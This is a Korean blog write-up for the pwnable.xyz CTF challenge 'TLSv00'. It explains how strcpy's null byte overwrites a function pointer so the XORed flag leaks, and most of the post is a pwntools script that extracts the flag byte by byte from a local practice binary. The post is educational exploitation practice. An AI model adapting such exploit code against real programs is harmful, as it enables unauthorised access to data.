본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / TLSv00

mitigation

 

main

  1. 입력한 크기만큼 key를 생성 ( generate_key 호출 )
  2. flag를 key로 xor ( load_flag  호출 )
  3. print flag 호출

 

 

최대 64자리까지 난수를 생성해서 key에 저장한다

이때 strcpy로 key에 복사하기 때문에 널바이트가 do_comment의 첫 바이트를 덮어 real_print_flag를 호출해서 xor된 flag를 릭할 수 있다

strcpy로 key에 널 바이트가 저장되는 걸 이용해서 1byte씩 뽑아냈다

 

flag

 

 

from pwn import *
#context.log_level = "debug"


def regen_key(length):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"key len: ")
    p.sendline(str(length))

def load_flag():
    p.recvuntil(b"> ")
    p.sendline(b"2")



def print_flag(yes = 0):
    p.recvuntil(b"> ")
    p.sendline(b"3")
    p.recvuntil(b"instead? ")
    if(yes):
        p.sendline(b"y")
    else:
        p.sendline(b"n")


flag_list = []
for j in range(0x20):
    p = process("./tlsv00")
    print_flag(1)
    regen_key(64)
    load_flag()

    print_flag()

    flag = b""
    for i in range(1, 0x40):
        regen_key(i)
        load_flag()
        print_flag()
        p.recv(i)
        leak = p.recv(1)
        flag += leak
        if leak == b"\n":
            break
       
    flag_list += [flag] 
    p.close()

for i in range(len(flag_list)):
    print(flag_list[i])

 

 

 

 

 

 

 

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / l33t-ness  (0) 2022.05.11
pwnable.xyz / Jmp table  (0) 2022.05.11
pwnable.xyz / free spirit  (0) 2022.05.10
pwnable.xyz / two_target  (0) 2022.05.07
pwnable.xyz / xor  (0) 2022.05.06